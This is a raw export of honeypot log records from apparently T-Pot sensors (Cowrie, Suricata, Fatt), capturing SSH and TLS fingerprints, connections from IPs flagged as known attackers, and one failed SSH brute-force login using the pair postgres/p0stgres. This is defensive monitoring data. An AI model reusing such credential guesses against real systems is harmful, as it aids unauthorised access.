35505	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:05.226295+03	2021-09-20 15:15:03.350691+03	{"_id": "cAYcA3wBvYTbRNuEG1zr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36132, "dest_port": 443, "timestamp": "2021-09-20T12:09:05.226295", "@timestamp": "2021-09-20T12:09:05.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35506	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:08.87144+03	2021-09-20 15:15:03.351691+03	{"_id": "cgYcA3wBvYTbRNuEJ1xd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "23.97.240.235", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36898, "timestamp": "2021-09-20T12:09:08.871440", "@timestamp": "2021-09-20T12:09:08.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35507	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:09:08.870032+03	2021-09-20 15:15:03.35269+03	{"_id": "eAYcA3wBvYTbRNuEKVwe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "a142cb793554", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:09:08.870032Z", "@timestamp": "2021-09-20T12:09:08.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
35508	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:09:08.867043+03	2021-09-20 15:15:03.35369+03	{"_id": "eQYcA3wBvYTbRNuEKVwe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 23.97.240.235:36898 (192.168.176.2:22) [session: a142cb793554]", "session": "a142cb793554", "@version": "1", "protocol": "ssh", "src_port": 36898, "dest_port": 22, "timestamp": "2021-09-20T12:09:08.867043Z", "@timestamp": "2021-09-20T12:09:08.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
35509	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:09:08.911969+03	2021-09-20 15:15:03.355689+03	{"_id": "fAYcA3wBvYTbRNuEKlxD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:08.822327+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1780261694245943, "payload": "AAADzAYUE2Y/IIvEsNcXuF9wnVhbOgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36898, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:08.911969Z", "@timestamp": "2021-09-20T12:09:08.911Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......f? ......_p.X[:...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	NL
35510	23.97.240.235	109.199.241.180	Fatt	2021-09-20 15:09:08.911969+03	2021-09-20 15:15:03.35669+03	{"_id": "fgYcA3wBvYTbRNuEK1xH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36898, "dest_port": 22, "timestamp": "2021-09-20T12:09:08.911969", "@timestamp": "2021-09-20T12:09:08.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
35511	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:09:14.815007+03	2021-09-20 15:15:03.358691+03	{"_id": "jQYcA3wBvYTbRNuEQFyS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1a4c95d3411e", "@version": "1", "timestamp": "2021-09-20T12:09:14.815007Z", "@timestamp": "2021-09-20T12:09:14.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35512	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:09:15.957247+03	2021-09-20 15:15:03.35969+03	{"_id": "jgYcA3wBvYTbRNuERFx6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [postgres/p0stgres] failed", "session": "1a4c95d3411e", "@version": "1", "password": "p0stgres", "username": "postgres", "timestamp": "2021-09-20T12:09:15.957247Z", "@timestamp": "2021-09-20T12:09:15.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35513	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:09:16.97933+03	2021-09-20 15:15:03.36169+03	{"_id": "lwYcA3wBvYTbRNuESFxj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7a92f4444294", "@version": "1", "timestamp": "2021-09-20T12:09:16.979330Z", "@timestamp": "2021-09-20T12:09:16.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
35514	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:09:17.235179+03	2021-09-20 15:15:03.362689+03	{"_id": "mAYcA3wBvYTbRNuESFxj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1a4c95d3411e", "@version": "1", "duration": 2.694542407989502, "timestamp": "2021-09-20T12:09:17.235179Z", "@timestamp": "2021-09-20T12:09:17.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35515	176.122.188.154	109.199.241.180	Suricata	2021-09-20 15:09:16.97875+03	2021-09-20 15:15:03.36469+03	{"_id": "mQYcA3wBvYTbRNuESVyI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:16.631736+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2117382267773880, "payload": "AAADzAYUgN8n2AugYMgvMOj2LNDuOAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39334, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:16.978750Z", "@timestamp": "2021-09-20T12:09:16.978Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........'...`./0..,..8...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
